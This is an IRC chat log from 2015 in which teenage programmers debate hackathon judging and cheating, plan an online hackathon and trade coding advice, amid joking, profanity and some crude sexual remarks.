[2015-01-31T21:49:40-0500] <+JacobEdelman> the judges are marketing people
[2015-01-31T21:49:44-0500] <Tamini_> 25 teams(?)
[2015-01-31T21:49:47-0500] <+JacobEdelman> or people pandering to specific interests group
[2015-01-31T21:49:56-0500] <Tamini_> of which ~7 had actual products
[2015-01-31T21:50:06-0500] <+JacobEdelman> prizes (which are already way too big) are assigned to what judges think the best bussiness idea would be
[2015-01-31T21:50:08-0500] <Tamini_> it wasn't exactly hard to win.
[2015-01-31T21:50:18-0500] <jwoglom> didn't someone do this at hacktj
[2015-01-31T21:50:19-0500] <+JacobEdelman> not what the most impressive technical project is
[2015-01-31T21:50:19-0500] <assface> Tamini_: shhh, he's telling a story
[2015-01-31T21:50:22-0500] <jwoglom> or pilotdc or something
[2015-01-31T21:50:29-0500] <Tamini_> JacobEdelman: see, okay
[2015-01-31T21:50:32-0500] <+JacobEdelman> also
[2015-01-31T21:50:34-0500] <Tamini_> one of my teammates says that
[2015-01-31T21:50:39-0500] <+JacobEdelman> its insanely easy to cheat
[2015-01-31T21:50:42-0500] <+JacobEdelman> or be dishonest
[2015-01-31T21:50:43-0500] <+JacobEdelman> or lie
[2015-01-31T21:50:48-0500] <Tamini_> i dont think the tehnical impressiveness is THAT big of a deal
[2015-01-31T21:50:49-0500] <+JacobEdelman> and yet they don't try to prevent it
[2015-01-31T21:50:54-0500] <+JacobEdelman> or test projects
[2015-01-31T21:51:10-0500] <+JacobEdelman> and the incentives for cheating are huge
[2015-01-31T21:51:11-0500] <+JacobEdelman> I mean
[2015-01-31T21:51:21-0500] <Tamini_> do you have examples of this happening or
[2015-01-31T21:51:24-0500] <assface> you could just show them TempleOS and call it a day
[2015-01-31T21:51:29-0500] <Tamini_> also define "cheating"
[2015-01-31T21:51:30-0500] <+JacobEdelman> at pennapps, you can kickstart a bussiness, or get an intership or job, easily if you win
[2015-01-31T21:51:39-0500] <+JacobEdelman> Tamini_: working before it starts, lying about your app
[2015-01-31T21:51:48-0500] <Tamini_> fair enough
[2015-01-31T21:51:53-0500] <jwoglom> it seems like common hackathon convention is "make it look like everything works"
[2015-01-31T21:52:07-0500] <+JacobEdelman> Tamini_: yes, some peopl I know who got in the top 3 for hardware at hackprinceton cheated, and I've heard rumors about pennapps winners, and other stuff
[2015-01-31T21:52:07-0500] <Tamini_> just dont show broken functionality!
[2015-01-31T21:52:21-0500] <+JacobEdelman> also, the whole point of hackathosn
[2015-01-31T21:52:23-0500] <+JacobEdelman> is supposed to be
[2015-01-31T21:52:54-0500] <+JacobEdelman> to come together, learn from each other, improve at coding, and have an incentive to make that really cool interesting coding project you wanted to do
[2015-01-31T21:53:05-0500] <+JacobEdelman> not too make a product, market it, and network for jobs
[2015-01-31T21:53:11-0500] <+JacobEdelman> the model is broken
[2015-01-31T21:53:12-0500] <Tamini_> then that kinda
[2015-01-31T21:53:16-0500] <+JacobEdelman> and needs to be fixed
[2015-01-31T21:53:18-0500] <jwoglom> ^^
[2015-01-31T21:53:20-0500] <Tamini_> is against your point
[2015-01-31T21:53:21-0500] <+JacobEdelman> rant done
[2015-01-31T21:53:26-0500] <Tamini_> of technical difficulty of projects
[2015-01-31T21:53:39-0500] <+JacobEdelman> Tamini_: I'll refrase difficulty as ingeniuty
[2015-01-31T21:53:45-0500] <assface> the kind of people who participate in hackathons aren't interdasted in learning
[2015-01-31T21:53:53-0500] <assface> if they were they'd just go to a LUG
[2015-01-31T21:53:54-0500] <Tamini_> assface: actually
[2015-01-31T21:54:04-0500] <Tamini_> pilotphilly was surprisingly beginner-heavy this year
[2015-01-31T21:54:07-0500] <+JacobEdelman> Tamini_: nobody enjoys/wants to code something easy or boring unless its for money, and thats not what hackathons are supposed it be about
[2015-01-31T21:54:08-0500] <Tamini_> it was really nice
[2015-01-31T21:54:15-0500] <+JacobEdelman> arseface: thats not entirely true
[2015-01-31T21:54:17-0500] <Tamini_> JacobEdelman: ah, okay
[2015-01-31T21:54:20-0500] <assface> (in general)
[2015-01-31T21:54:35-0500] <+JacobEdelman> arseface: its just that the smart people are being drowned out by loads and loads of cash
[2015-01-31T21:54:42-0500] <+JacobEdelman> being given by sponsors
[2015-01-31T21:54:49-0500] <assface> I know for a fact I wouldn't go to a hackathon unless I was sure I could make something really good
[2015-01-31T21:55:14-0500] <+JacobEdelman> and accepted by the events
[2015-01-31T21:55:16-0500] <jwoglom> you have to have a good "hackathon idea"
[2015-01-31T21:55:19-0500] <+JacobEdelman> that no longer care about quality
[2015-01-31T21:55:24-0500] <jwoglom> and hackathon ideas are barely ever good actual ideas
[2015-01-31T21:55:26-0500] <jwoglom> or business ideas
[2015-01-31T21:55:33-0500] <+JacobEdelman> I mean, I go to pennapps
[2015-01-31T21:55:48-0500] <+JacobEdelman> which up till last time I thought of as the good hackathon, where the judges were good
[2015-01-31T21:56:36-0500] <+JacobEdelman> the winning project was an app that gave advice on helping people with cardiac arrest and such, it wasn't technically impressive or interesting to code at all
[2015-01-31T21:56:43-0500] <assface> lolwut
[2015-01-31T21:56:47-0500] <+JacobEdelman> of the top 30 projects, 3 of them involved drones
[2015-01-31T21:56:54-0500] <+JacobEdelman> of the top 10, 2 involved drones
[2015-01-31T21:57:01-0500] <Tamini_> the main thing is
[2015-01-31T21:57:04-0500] <jwoglom> because drones are hip, duh
[2015-01-31T21:57:08-0500] <Tamini_> you pretty much have to make something
[2015-01-31T21:57:12-0500] <Tamini_> that looks flashy
[2015-01-31T21:57:13-0500] <assface> b-b-but muh drones!
[2015-01-31T21:57:14-0500] <+JacobEdelman> the drones were simple, dumb, almost identical ideas
[2015-01-31T21:57:15-0500] <Tamini_> checks boxes
[2015-01-31T21:57:19-0500] <Tamini_> and can be done in 24 hours
[2015-01-31T21:57:25-0500] <jwoglom> yeah basically that
[2015-01-31T21:57:30-0500] <Tamini_> that doesnt make for good projects.
[2015-01-31T21:57:31-0500] <+JacobEdelman> of the 2 drone projects that had to give demos cause they were in the top 10
[2015-01-31T21:57:35-0500] <assface> I've done really good shit in 24 hours
[2015-01-31T21:57:41-0500] <Tamini_> also
[2015-01-31T21:57:46-0500] <Tamini_> our hackathon project is
[2015-01-31T21:57:46-0500] <assface> and also really bad shit in 24 hours
[2015-01-31T21:57:51-0500] <Tamini_> our open-source project for tsa
[2015-01-31T21:57:56-0500] <+JacobEdelman> 1 failed almost entirely, (it was able to do the basics of what they promised, but did it really badly cause it had "low battery")
[2015-01-31T21:57:56-0500] <jwoglom> maybe hackathons would work better if you had to make one certain kind of thing?
[2015-01-31T21:58:00-0500] <Tamini_> so we had more boxes to check :D
[2015-01-31T21:58:03-0500] <jwoglom> or you had some semi-requirements?
[2015-01-31T21:58:04-0500] <+JacobEdelman> the other failed utterly and entirely
[2015-01-31T21:58:57-0500] <+JacobEdelman> hack pdgn is my idea to fix hackathons
[2015-01-31T21:59:04-0500] <+JacobEdelman> its online, one week
[2015-01-31T21:59:07-0500] <+JacobEdelman> judging is by voting
[2015-01-31T21:59:12-0500] <+JacobEdelman> but even than there are no prizes
[2015-01-31T21:59:15-0500] <assface> what is this
[2015-01-31T21:59:18-0500] <assface> pls gib
[2015-01-31T21:59:23-0500] <+JacobEdelman> its my idea to fix hackathons
[2015-01-31T21:59:24-0500] <+JacobEdelman> hack pdgn
[2015-01-31T21:59:31-0500] <+JacobEdelman> an online 1 week hackathon
[2015-01-31T21:59:40-0500] <jwoglom> you should try to like recruit some sponsors, lol
[2015-01-31T21:59:44-0500] <+JacobEdelman> nope
[2015-01-31T21:59:47-0500] <+JacobEdelman> I don't want prizes
[2015-01-31T22:00:01-0500] <+JacobEdelman> maybe one sponsor, but probaly not even that
[2015-01-31T22:00:32-0500] <assface> gib URL?
[2015-01-31T22:00:37-0500] <+JacobEdelman> none yet
[2015-01-31T22:00:40-0500] <+JacobEdelman> its still an idea
[2015-01-31T22:00:44-0500] <+JacobEdelman> actually, 
[2015-01-31T22:00:47-0500] <+JacobEdelman> zrl, you here?
[2015-01-31T22:00:54-0500] <zrl> busy atm
[2015-01-31T22:00:56-0500] <zrl> sup?
[2015-01-31T22:01:10-0500] <+JacobEdelman> I wanna run hackpdgn, an online one-week hackathon for hs students
[2015-01-31T22:01:21-0500] <+JacobEdelman> (you can look at the chat for the last 10 min or so to see why and see detials
[2015-01-31T22:01:22-0500] <+JacobEdelman> )
[2015-01-31T22:01:23-0500] <Tamini_> lol
[2015-01-31T22:01:29-0500] <Tamini_> hmm
[2015-01-31T22:01:36-0500] <Tamini_> how will you open voting
[2015-01-31T22:01:41-0500] <+JacobEdelman> I want to get students doing it afterschool, cause I thought it would be a good activity for clubs
[2015-01-31T22:01:46-0500] <+JacobEdelman> zrl, we should talk
[2015-01-31T22:02:09-0500] <+JacobEdelman> Tamini_: what do you mean? people would vote on projects, higher projects get higher on the page or something
[2015-01-31T22:02:15-0500] <Tamini_> uh
[2015-01-31T22:02:18-0500] <Tamini_> who gets to vote
[2015-01-31T22:02:18-0500] <+JacobEdelman> Tamini_: I'm not sure of voting yet
[2015-01-31T22:02:22-0500] <+JacobEdelman> Tamini_: anybody
[2015-01-31T22:02:27-0500] <Tamini_> bad idra
[2015-01-31T22:02:28-0500] <Tamini_> idea*
[2015-01-31T22:02:38-0500] <assface> quai?
[2015-01-31T22:02:39-0500] <+JacobEdelman> Tamini_: hmmm... what if it was only people who did a project?
[2015-01-31T22:02:41-0500] <Tamini_> makes it super easy to exploit
[2015-01-31T22:02:44-0500] <Tamini_> probably
[2015-01-31T22:02:47-0500] <+JacobEdelman> arseface: quai?
[2015-01-31T22:03:07-0500] <assface> (why with a weird accent)
[2015-01-31T22:03:09-0500] <zrl> JacobEdelman: cool, yeah
[2015-01-31T22:03:11-0500] <zrl> shoot me an email
[2015-01-31T22:03:12-0500] <zrl> zach@zachlatta.com
[2015-01-31T22:03:18-0500] <+JacobEdelman> zrl: I will
[2015-01-31T22:03:19-0500] <zrl> and i'll get back to it in a couple weeks
[2015-01-31T22:03:25-0500] <zrl> super busy atm fundraising
[2015-01-31T22:03:39-0500] <+JacobEdelman> (I have your email, we've been emailing, remember :P )
[2015-01-31T22:05:40-0500] <+JacobEdelman> arseface: why voting? is that what you mean?
[2015-01-31T22:06:33-0500] <assface> to Tamini
[2015-01-31T22:06:40-0500] <assface> why it was exploitable
[2015-01-31T22:06:56-0500] <+JacobEdelman> arseface: automated voting, I guess?
[2015-01-31T22:07:12-0500] <assface> well, then they did soemthing impressive, which is break security
[2015-01-31T22:07:15-0500] <assface> and they deserve it
[2015-01-31T22:07:20-0500] <+JacobEdelman> arseface: :P
[2015-01-31T22:07:37-0500] <+JacobEdelman> arseface: eh, still even than, they could just vote multiple time :P
[2015-01-31T22:07:38-0500] <ubuntor> get multiple ips, vote
[2015-01-31T22:07:59-0500] arseface (jack@pdgn-dhr.tli.frc9r1.IP) joined the channel
[2015-01-31T22:08:02-0500] <arseface> you rang?
[2015-01-31T22:08:09-0500] <+JacobEdelman> wait, what
[2015-01-31T22:08:16-0500] <+JacobEdelman> which one are you
[2015-01-31T22:08:29-0500] <ubuntor> why not both?
[2015-01-31T22:08:30-0500] <alokpathy> That one.
[2015-01-31T22:08:31-0500] <assface> what?
[2015-01-31T22:08:39-0500] <assface> who dis?
[2015-01-31T22:08:39-0500] <+JacobEdelman> (I've been calling arseface arsface for days, I'v never called arseface arseface, only arseface)
[2015-01-31T22:08:43-0500] <+JacobEdelman> alokpathy: oh
[2015-01-31T22:09:02-0500] <arseface> lol
[2015-01-31T22:09:03-0500] <+JacobEdelman> ubuntor: what do you think of hackpdgn?
[2015-01-31T22:09:20-0500] <ubuntor> sounds neat, but concerns about voting
[2015-01-31T22:09:43-0500] <arseface> ima just leave this nick idling and then respond with a long string of curse words whenever you ping it
[2015-01-31T22:09:52-0500] <assface> :3
[2015-01-31T22:09:58-0500] <ubuntor> arseface: like this?
[2015-01-31T22:10:09-0500] <arseface> fuck cock ass pussy shit
[2015-01-31T22:10:14-0500] <arseface> cunt
[2015-01-31T22:10:22-0500] <+JacobEdelman> alokpathy: wait, thats not you
[2015-01-31T22:10:25-0500] <ubuntor> 10/10 would ping again
[2015-01-31T22:10:26-0500] <assface> that was halfhearted
[2015-01-31T22:10:38-0500] <+JacobEdelman> arseface: its you!
[2015-01-31T22:10:42-0500] <+JacobEdelman> arseface is arseface!
[2015-01-31T22:10:58-0500] <arseface> ass anus cunt shit fuck my thick fat cock you shitmongering ass
[2015-01-31T22:11:08-0500] <assface> I am not me
[2015-01-31T22:11:15-0500] <assface> what are yoiu talking about
[2015-01-31T22:11:32-0500] <Tamini_> um
[2015-01-31T22:11:52-0500] <+JacobEdelman> ubuntor: hmmm... what if you could only vote if you used a challenge post account or something so you had to make an account for making a project and only people who made a project could vote?
[2015-01-31T22:12:02-0500] <Tamini_> oh my god challenge post
[2015-01-31T22:12:02-0500] <Tamini_> lol
[2015-01-31T22:12:12-0500] <+JacobEdelman> awe: can you kick arseface by chance?
[2015-01-31T22:12:22-0500] <+JacobEdelman> (not arseface, arseface)
[2015-01-31T22:12:30-0500] <alokpathy> Lol
[2015-01-31T22:12:31-0500] <alokpathy> arseface: 
[2015-01-31T22:12:37-0500] <ubuntor> that could work
[2015-01-31T22:12:39-0500] <alokpathy> Aw no curse words.
[2015-01-31T22:12:45-0500] <alokpathy> assface: Make it a bot :P
[2015-01-31T22:12:50-0500] <arseface> ass cock pussy shit cunt lick flange penis
[2015-01-31T22:12:54-0500] <ubuntor> flange?
[2015-01-31T22:12:56-0500] <alokpathy> flange?
[2015-01-31T22:12:57-0500] <Tamini_> awe is pretty much gone
[2015-01-31T22:13:00-0500] <assface> idk mang
[2015-01-31T22:13:03-0500] <Tamini_> he said he'd be back later
[2015-01-31T22:13:10-0500] <assface> I should make it into a bot
[2015-01-31T22:13:10-0500] <Tamini_> also
[2015-01-31T22:13:13-0500] <alokpathy> JacobEdelman: awe's gone until sometime in the near or distant future.
[2015-01-31T22:13:18-0500] <ubuntor> afk for a bit
[2015-01-31T22:13:18-0500] <Tamini_> i want to invite my friend who is pretty much awe
[2015-01-31T22:13:20-0500] <+JacobEdelman> okay
[2015-01-31T22:13:24-0500] <Tamini_> how will that go down?
[2015-01-31T22:13:27-0500] <+JacobEdelman>  /ignore is nice
[2015-01-31T22:13:30-0500] <alokpathy> Tamini_: Probably well.
[2015-01-31T22:13:37-0500] <+JacobEdelman> now I won't see when arseface (not arseface) talks
[2015-01-31T22:13:39-0500] <alokpathy> nezorg: invited assface I think without asking awe
[2015-01-31T22:13:42-0500] <alokpathy> and it turned out well.
[2015-01-31T22:13:45-0500] <Tamini_> they will pretty much disagree
[2015-01-31T22:13:48-0500] <Tamini_> a bit
[2015-01-31T22:13:51-0500] <Tamini_> is my only issue
[2015-01-31T22:13:59-0500] <+JacobEdelman> Tamini_: its fine, I mean, Hyper is very similar to awe and they love each other
[2015-01-31T22:14:01-0500] <alokpathy> I thought you said they were basically the same?
[2015-01-31T22:14:04-0500] <Tamini_> so i'd like to ask awe first
[2015-01-31T22:14:10-0500] <Tamini_> they're same personality wise
[2015-01-31T22:14:22-0500] <Tamini_> and anarcho-communism and starbound-wise
[2015-01-31T22:14:47-0500] <Tamini_> also same super stubborn wise
[2015-01-31T22:14:54-0500] <alokpathy> lolwut
[2015-01-31T22:15:10-0500] <alokpathy> hardmath123: Wait how many people from Gunn end up going to Stanford?
[2015-01-31T22:15:10-0500] <LittleBobbyTables> Overweight girls are more likely to anal.
[2015-01-31T22:15:25-0500] <alokpathy> wat
[2015-01-31T22:15:25-0500] <Tamini_> wat
[2015-01-31T22:15:30-0500] <assface> 'tis true
[2015-01-31T22:15:35-0500] <jwoglom> the internet said so
[2015-01-31T22:15:37-0500] <jwoglom> it must be true
[2015-01-31T22:15:37-0500] <alokpathy> That was literally the most random thing I've heard all day.
[2015-01-31T22:15:47-0500] <assface> really?
[2015-01-31T22:15:51-0500] <alokpathy> Yeah.
[2015-01-31T22:15:52-0500] <assface> white noise is pretty random
[2015-01-31T22:15:58-0500] <LittleBobbyTables> www.voxeu.org/article/overweight-adolescents-and-risky-sexual-behaviour
[2015-01-31T22:16:29-0500] <Tamini_> mk now im going to
[2015-01-31T22:16:35-0500] <Tamini_> watch easy A instead of sleep
[2015-01-31T22:16:37-0500] <Tamini_> gosh
[2015-01-31T22:31:50-0500] <Hyper> I'm the same as awe?
[2015-01-31T22:33:08-0500] <+JacobEdelman> similar in disposition and opinions
[2015-01-31T22:33:21-0500] <Hyper> I guess
[2015-01-31T22:33:26-0500] <+JacobEdelman> you're both very opinionated yet your opinions line up surprisingly close
[2015-01-31T22:33:33-0500] <Hyper> I think i'm much cooler
[2015-01-31T22:33:50-0500] <Hyper> also closely
[2015-01-31T22:33:50-0500] <Hyper> pls
[2015-01-31T22:33:54-0500] <Hyper> grammar
[2015-01-31T22:34:21-0500] <Hyper> JacobEdelman: if you want another series rec. I'd recommend Eureka Seven
[2015-01-31T22:34:32-0500] <+JacobEdelman> grammar>
[2015-01-31T22:34:34-0500] <+JacobEdelman> *?
[2015-01-31T22:34:35-0500] <+JacobEdelman> grammar?
[2015-01-31T22:34:38-0500] <+JacobEdelman> GRAMMAR?
[2015-01-31T22:34:45-0500] <+JacobEdelman> I've Hates Grammar!
[2015-01-31T22:35:03-0500] <+JacobEdelman> Hyper: I'll add it to the list
[2015-01-31T22:37:34-0500] <nezorg> so my team got 2nd at science bowl!
[2015-01-31T22:39:17-0500] <nezorg> at our regional, anyway
[2015-01-31T22:39:22-0500] <nezorg> I'm surprised
[2015-01-31T22:39:39-0500] <nezorg> I thought we might not even make it to the elimination rounds :P
[2015-01-31T22:39:55-0500] <+hardmath123> :D
[2015-01-31T22:40:07-0500] <+hardmath123> I fell asleep on the couch for the first time in ages.
[2015-01-31T22:40:12-0500] <+hardmath123> It was pleasant.
[2015-01-31T22:44:57-0500] <+JacobEdelman> nezorg: wait, is that good or bad?
[2015-01-31T22:45:12-0500] <+JacobEdelman> hardmath123: wait, its only 7:40pm where you are, right?
[2015-01-31T22:45:17-0500] <nezorg> pretty good
[2015-01-31T22:45:41-0500] <+JacobEdelman> nezorg: than congrats
[2015-01-31T22:45:46-0500] <nezorg> we haven't done this well in a while
[2015-01-31T22:54:31-0500] <ubuntor> nezorg: nice job
[2015-01-31T22:55:01-0500] <assface> gj nz
[2015-01-31T22:55:19-0500] <nezorg> thanks
[2015-01-31T22:58:13-0500] <assface> so how dat cs cluB workin out?
[2015-01-31T23:02:37-0500] <+JacobEdelman> which cs club?
[2015-01-31T23:03:27-0500] <assface> he said he would make one a while ago
[2015-01-31T23:11:28-0500] <+hardmath123> JacobEdelman: yeah
[2015-01-31T23:12:16-0500] <alokpathy> nezorg: woo
[2015-01-31T23:12:33-0500] <nezorg> thanks
[2015-01-31T23:12:40-0500] <nezorg> it was pretty surprising
[2015-01-31T23:22:50-0500] <LittleBobbyTables> no it's almost 8:#0
[2015-01-31T23:28:09-0500] <+JacobEdelman> gnight
[2015-01-31T23:29:13-0500] <assface> night-night
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[2015-02-01T01:07:54-0500] <alokpathy> Tamini: PClassic on March 21st.
[2015-02-01T01:08:02-0500] <alokpathy> JacobEdelman: ^
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[2015-02-01T01:50:06-0500] <@awe> I'm back, if anyone needs me.
[2015-02-01T01:50:30-0500] <@awe> JacobEdelman: I wouldn't kick assface. I like him.
[2015-02-01T01:52:15-0500] <alokpathy> Parking in Princeton is a struggle .-.
[2015-02-01T01:52:21-0500] <@awe> It is.
[2015-02-01T01:52:37-0500] <alokpathy> "Alright, I'll just park in this parking lot close to where I have to go"
[2015-02-01T01:52:39-0500] <@awe> I know a spot where you can pretty reliably get a spot and without paying.
[2015-02-01T01:52:46-0500] <alokpathy> Wait where?
[2015-02-01T01:53:14-0500] <@awe> I'm not able to explain it currently, but I can do so tomorrow.
[2015-02-01T01:53:23-0500] <alokpathy> Oh okay xD
[2015-02-01T01:53:26-0500] <alokpathy> Well, continuing with my story
[2015-02-01T01:53:32-0500] <alokpathy> [circles around for a while]
[2015-02-01T01:53:33-0500] <@awe> It's naer high-tops though.
[2015-02-01T01:53:39-0500] <alokpathy> "Okay...no parking here. Let's try this lot!"
[2015-02-01T01:53:44-0500] <alokpathy> [circles around more]
[2015-02-01T01:53:47-0500] <alokpathy> Oh, hm
[2015-02-01T01:53:55-0500] <alokpathy> That's somewhat close to where I usually go
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[2015-02-01T01:54:18-0500] <alokpathy> Well, the Princeton library is, and I heard High-Tops is close to that.
[2015-02-01T01:54:36-0500] <@awe> Do you go to the metered lot across from the Princeton Public Library?
[2015-02-01T01:54:54-0500] <alokpathy> I've been there.
[2015-02-01T01:55:06-0500] <@awe> It's not there. It's near-ish though.
[2015-02-01T01:55:25-0500] <alokpathy> Oh, okay.
[2015-02-01T01:55:47-0500] <alokpathy> Lol today a friend of ours drove me, Ben, and a few other people to the Princeton library
[2015-02-01T01:55:54-0500] <alokpathy> and she parked in that parking lot right across.
[2015-02-01T01:56:08-0500] <alokpathy> Ben told her she didn't actually have to pay the meter, but she got a ticket xD
[2015-02-01T01:57:06-0500] <@awe> Wow.
[2015-02-01T01:57:13-0500] <@awe> Why would she believe him?
[2015-02-01T01:57:28-0500] <alokpathy> Ben's usually trustworthy :P
[2015-02-01T01:57:58-0500] <alokpathy> On the bright side, she said it wasn't an expensive ticket.
[2015-02-01T01:58:01-0500] <@awe> Not about car things.
[2015-02-01T01:58:07-0500] <@awe> Ben knows nothing about cars.
[2015-02-01T01:58:21-0500] <alokpathy> Lolol that moment when his mom found his permit xD
[2015-02-01T02:00:02-0500] <alokpathy> Anyways, I should sleep.
[2015-02-01T02:00:03-0500] <alokpathy> G'night.
[2015-02-01T02:00:52-0500] <LittleBobbyTables> Laws aren't necessarily car things.
[2015-02-01T02:01:17-0500] <LittleBobbyTables> Whales jump out of the water to ejaculate into their mate when having sex.
[2015-02-01T02:04:36-0500] <@awe> Oh, okay. Thanks, LittleBobbyTables.
[2015-02-01T02:04:51-0500] <LittleBobbyTables> No problem
[2015-02-01T03:09:41-0500] <LittleBobbyTables> Every 60 seconds in Africa, one minute passes.
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[2015-02-01T10:18:12-0500] <+JacobEdelman> gmorning[
[2015-02-01T10:18:20-0500] <+JacobEdelman> *ignore the "["
[2015-02-01T10:49:07-0500] <nezorg> JacobEdelman: why are you discriminating against right square brackets?
[2015-02-01T11:02:27-0500] <+JacobEdelman> nezrog: cause they are all evil and weird
[2015-02-01T11:02:28-0500] <+JacobEdelman> also
[2015-02-01T11:02:43-0500] <Coast> hi
[2015-02-01T11:02:47-0500] <+JacobEdelman> perl looks like what lark could look like for a user who's built a bunch of his own stuff
[2015-02-01T11:03:04-0500] <+JacobEdelman> Coast: FYI lark is a programming language with customizable syntax I'm writing
[2015-02-01T11:03:16-0500] <+JacobEdelman> perl looks easily writable but impossible to read
[2015-02-01T11:03:18-0500] <+JacobEdelman> :P
[2015-02-01T11:03:22-0500] <Coast> lark is also the name of a bird
[2015-02-01T11:03:30-0500] <Coast> also the name of a chronotype
[2015-02-01T11:03:49-0500] <Coast> well, the chronotype was named after the bird
[2015-02-01T11:04:26-0500] <+JacobEdelman> its also a cool word in general :)
[2015-02-01T11:04:39-0500] <+JacobEdelman> Coast: you code? if so, what language/s?
[2015-02-01T11:04:49-0500] <Coast> No but I wish I did
[2015-02-01T11:05:11-0500] <Coast> it seems like I learn best when I need to, otherwise I slack
[2015-02-01T11:05:45-0500] <Coast> I never had to learn to code, sadly
[2015-02-01T11:06:03-0500] <+JacobEdelman> hmmm... learn code for fun!
[2015-02-01T11:06:19-0500] <+JacobEdelman> or even better, give yourself an incentive/ deadline
[2015-02-01T11:06:23-0500] <+JacobEdelman> like going to a hackathon
[2015-02-01T11:06:31-0500] <+JacobEdelman> (hackathon = big code fest/ competition thing)
[2015-02-01T11:06:32-0500] <Coast> well see, I'm lazy, so I'll gravitate towards brainless fun
[2015-02-01T11:06:56-0500] <+JacobEdelman> .... like writing what-ifs on physics questions ? :P
[2015-02-01T11:07:13-0500] <Coast> no that's a symptom of having no more brainless fun
[2015-02-01T11:07:44-0500] <Coast> and I like physics
[2015-02-01T11:08:12-0500] <Coast> I also like computers, but I just...can't seem to find a goal for learning
[2015-02-01T11:09:29-0500] <Coast> maybe making a video game, possibly, but I don't know what I need to know to do that, so making a neat little roadmap for that, a structure to focus on is a lot more difficult
[2015-02-01T11:09:32-0500] <+JacobEdelman> ... hmmm... project euler
[2015-02-01T11:10:01-0500] <+JacobEdelman> https://projecteuler.net/problems
[2015-02-01T11:10:15-0500] <Coast> no see, it needs to be something I care about personally
[2015-02-01T11:10:28-0500] <+JacobEdelman> hmmm... you don't wanna solve cool mathy problems?
[2015-02-01T11:10:32-0500] <+JacobEdelman> hmmm....
[2015-02-01T11:10:35-0500] <Coast> nah
[2015-02-01T11:10:54-0500] <+JacobEdelman> you could try modding
[2015-02-01T11:11:05-0500] <Coast> maybe
[2015-02-01T11:11:14-0500] <+JacobEdelman> its reasonably easy once you get it set up
[2015-02-01T11:11:23-0500] <+JacobEdelman> and can be quiet fun (I've done a bit with minecraft)
[2015-02-01T11:11:47-0500] <Coast> that sounds cool
[2015-02-01T11:11:54-0500] <Coast> maybe not minecraft
[2015-02-01T11:11:59-0500] <Coast> I'm not into that
[2015-02-01T11:12:35-0500] <Coast> maybe I could modify games that aren't supposed to be modified
[2015-02-01T11:12:36-0500] <+JacobEdelman> ah, well choose another game you are into
[2015-02-01T11:12:46-0500] <+JacobEdelman> eh... that might be harder
[2015-02-01T11:12:57-0500] <+JacobEdelman> games with active modding communities will have better tutorials
[2015-02-01T11:13:03-0500] <Coast> right
[2015-02-01T11:13:05-0500] <+JacobEdelman> you play starbound?
[2015-02-01T11:13:08-0500] <+JacobEdelman> or ftl?
[2015-02-01T11:13:28-0500] <Coast> um, no.
[2015-02-01T11:13:52-0500] <+JacobEdelman> ah, well, choose a game you do play and look for modding tutorials, thats my recommendation 
[2015-02-01T11:13:59-0500] <Coast> oh okay
[2015-02-01T11:14:34-0500] <+hardmath123> Coast: write a good physics simulation! It's realllly hard and reallly fun.
[2015-02-01T11:16:42-0500] <Coast> I think
[2015-02-01T11:17:01-0500] <Coast> I think making a game for me and my friends to play is a very nice thing to think about
[2015-02-01T11:17:25-0500] <+hardmath123> It is. It's very satisfying when people use code you've written.
[2015-02-01T11:17:32-0500] • hardmath123: starts reminiscing about the alchemy days.
[2015-02-01T11:17:42-0500] <+JacobEdelman> Coast: okay, just don't underestimate the difficulty, (text based games are much easier to start with)
[2015-02-01T11:17:48-0500] <Coast> none of the coop games that I have played so far scratch my coop itches
[2015-02-01T11:18:16-0500] <+JacobEdelman> !resistance
[2015-02-01T11:18:16-0500] <&Pidgey> Players may now join the game. Use `!start` to start.
[2015-02-01T11:18:26-0500] <+JacobEdelman> Coast: you should play resistance
[2015-02-01T11:18:32-0500] <Coast> I mean, I don't mind it being difficult
[2015-02-01T11:18:33-0500] <+JacobEdelman> Coast: you can look up the rules on wikipedia
[2015-02-01T11:19:00-0500] <Coast> I just want it...as a step-by-step process, mapped out
[2015-02-01T11:19:14-0500] <+JacobEdelman> Coast: okay, start by making a text based game in the terminal
[2015-02-01T11:19:16-0500] <+JacobEdelman> for install python
[2015-02-01T11:19:24-0500] <+hardmath123> No, don't listen to JacobEdelman !
[2015-02-01T11:19:26-0500] <+hardmath123> :P
[2015-02-01T11:19:34-0500] <+JacobEdelman> hardmath123: what do you reccomend?
[2015-02-01T11:19:45-0500] <+hardmath123> JacobEdelman: Coast: I recommend http://scratch.mit.edu wholeheartedly.
[2015-02-01T11:19:59-0500] <+JacobEdelman> eh, I guess, it is how I started
[2015-02-01T11:20:10-0500] <+JacobEdelman> and I guess its good for basic games
[2015-02-01T11:20:54-0500] <+hardmath123> "basic"
[2015-02-01T11:21:04-0500] <+hardmath123> do you need me to point you to some really awesome scratch projects?
[2015-02-01T11:21:21-0500] <+hardmath123> I'm talking raytracers, chess AIs, and a multiplayer FPS.
[2015-02-01T11:21:26-0500] <+JacobEdelman> hardmath123: my older brother wrote a 3d racing game
[2015-02-01T11:21:39-0500] <+JacobEdelman> hardmath123: and I wrote a simple os with saving
[2015-02-01T11:21:47-0500] <+JacobEdelman> hardmath123: point me to a multiplayer FPS
[2015-02-01T11:21:51-0500] <+JacobEdelman> that would impress me I admit
[2015-02-01T11:21:54-0500] <+JacobEdelman> assuming its 3d
[2015-02-01T11:24:38-0500] <+hardmath123> http://scratch.mit.edu/projects/17783489/
[2015-02-01T11:25:44-0500] <+JacobEdelman> hardmath123: play with me?
[2015-02-01T11:26:21-0500] <+hardmath123> not now, i just woke up. reflexes smell like yesterday's tea.
[2015-02-01T11:27:08-0500] <+JacobEdelman> come one, I just wanna test it
[2015-02-01T11:28:35-0500] <+hardmath123> I can't find you.
[2015-02-01T11:29:53-0500] <+hardmath123> gah *gives up*
[2015-02-01T11:31:11-0500] <+JacobEdelman> fine
[2015-02-01T11:31:14-0500] <+JacobEdelman> its buggy
[2015-02-01T11:31:17-0500] <+JacobEdelman> but I'm impressed
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[2015-02-01T11:36:04-0500] <Tamini_> nezorg: late, but proud of youuu <3
[2015-02-01T11:36:32-0500] <Tamini_> (also arent the sunglasses i got from pilot cool?)
[2015-02-01T11:36:46-0500] <nezorg> thanks and yes! :3
[2015-02-01T11:48:13-0500] <+hardmath123> "pilot sunglasses" makes me imagine tomcruise/topgun glasses.
[2015-02-01T11:50:11-0500] <+Tamini> lolol
[2015-02-01T11:50:13-0500] <+Tamini> they're pretty cool 
[2015-02-01T11:50:20-0500] <+Tamini> i snapchatted them to people
[2015-02-01T11:50:23-0500] <+Tamini> but you dont have a snapchat cough cough
[2015-02-01T11:50:28-0500] <+Tamini> they're like aviator shades this time
[2015-02-01T11:50:32-0500] <+Tamini> because pilot
